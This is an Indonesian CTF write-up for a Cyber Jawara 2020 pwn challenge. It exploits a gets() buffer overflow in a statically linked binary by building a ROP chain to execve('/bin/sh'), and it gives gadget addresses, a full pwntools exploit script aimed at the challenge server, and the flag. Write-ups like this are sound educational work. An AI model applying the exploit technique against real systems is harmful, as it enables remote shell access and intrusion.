
Pada soal ini, peserta tidak diberikan binary, melainkan hanya informasi mengenai binary yang berjalan di server. Dari informasi yang diberikan pada deskripsi soal, binary yang berjalan memiliki konfigurasi kurang lebih sebagai berikut:
- RELRO: Partial RELRO
- Canary: Disabled
- NX: Enabled
- PIE: No PIE
Selain itu diberikan informasi dari file elf_info dimana kita dapat mengetahui architecture dari program:
Dari screenshot diatas, diketahui architecture dari program adalah ELF 64-bit. Diketahui juga bahwa buffer pada variable input berjumlah 8. Kurang lebih source code yang dimiliki oleh program adalah sebagai berikut:
1 2 3 4 5 6 7 8 9 |
#include <stdio.h> int main(){ char buf[8]; printf("Masukkan 16 bytes acak + ROP chain bytes Anda: "); gets(buf) return 0; } |
Program hanya menggunakan size buffer sejunlah 8 dikarenakan sebelum RIP, terdapat RBP sebanyak 8 bytes. Berikutnya, diberikan informasi juga bahwa binary yang berjalan di server merupakan statically linked binary. Hal cukup buruk yang mungkin muncul dari konfigurasi ini adalah banyaknya gadget yang tersimpan, berikut jumlah baris dari file gadgets:
1 2 3 |
ArkAngels:Downloads ark$ wc -l gadgets 10955 gadgets |
Dari sini, sepertinya harus dilakukan code execution khususnya untuk shell (/bin/sh). Kami pun mencoba mencari fungsi yang mungkin dapat membantu seperti system misalnya. Namun fungsi itu tidak ditemukan. Setelah itu kami mendapatkan ide untuk melakukan ROPchain ke arah syscall menggunakan sys_execve. Untuk itu, maka attack plan sudah terbentuk:
- Menulis string /bin/sh ke segment bss atau data
- Menyediakan argument untuk sys_execve
- Memanggil syscall
Dari attack plan diatas, kami memerlukan 2 hal:
- Argument yang diperlukan untuk sys_execve
- Gadgets untuk menyediakan tempat parameter serta untuk memindahkan value
Dari hal yang diperlukan, yang menurut kami sulit adalah menemukan gadgets yang sesuai. Ada gadget pop yang bisa kami gunakan tapi tidak ada gadget mov yang sesuai untuk proses penulisan string /bin/sh. Setelah pencarian, didapatkanlah gadget yang kami gunakan:
- pop rdi; ret -> 0x400696
- pop rax; ret -> 0x4155a4
- pop rsi; ret -> 0x410183
- pop rdx; ret -> 0x4497c5
- mov qword ptr [rax], rdx ; ret -> 0x48d171
- syscall -> 0x47b52f
Dengan ini, kebutuhan gadgets sudah terpenuhi. Berikutnya, kami mencari argument yang diperlukan oleh sys_execve. Berikut argument yang diperlukan:
%rax | %rdi | %rsi | %rdx |
---|---|---|---|
59 or 0x3b | const char __user * filename | const char __user *const __user * argv | const char __user *const __user * envp |
Dari 4 argument yang diperlukan, yang perlu diisi value hanyalah %rax dan %rdi, sehingga untuk %rsi dan %rdx dapat diisi dengan value 0 saja. Berikut script yang digunakan:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 |
from pwn import * mov_rax_rdx = 0x48d171 pop_rax = 0x4155a4 pop_rdi = 0x400696 pop_rsi = 0x410183 pop_rdx = 0x4497c5 syscall = 0x47b52f bss = 0x6bb2e0 def exploit(): log.info("mov qword ptr [rax], rdx ; ret: {}".format(hex(mov_rax_rdx))) log.info("pop rax; ret: {}".format(hex(pop_rax))) log.info("pop rdi; ret: {}".format(hex(pop_rdi))) log.info("pop rsi; ret: {}".format(hex(pop_rsi))) log.info("pop rdx; ret: {}".format(hex(pop_rdx))) log.info("syscall: {}".format(hex(syscall))) log.info("bss address: {}".format(hex(bss))) # Fill the buffer till RIP payload = "a" * 16 # Write /bin/sh\x00 to bss payload += p64(pop_rdx) payload += "/bin/sh\x00" payload += p64(pop_rax) payload += p64(bss) payload += p64(mov_rax_rdx) # Clearing value of rax rdx rsi just to be safe payload += p64(pop_rax) payload += p64(0) payload += p64(pop_rdx) payload += p64(0) payload += p64(pop_rsi) payload += p64(0) # Prepare arguments for sys_execve payload += p64(pop_rax) payload += p64(0x3b) payload += p64(pop_rdi) payload += p64(bss) payload += p64(pop_rsi) payload += p64(0) payload += p64(pop_rdx) payload += p64(0) # Trigger syscall payload += p64(syscall) r.sendlineafter("Anda: ", payload) r.interactive() r = remote("pwn.cyber.jawara.systems", 13372) exploit() |
Flag = CJ2020{belajar_bikin_ropchain_sendiri_dong}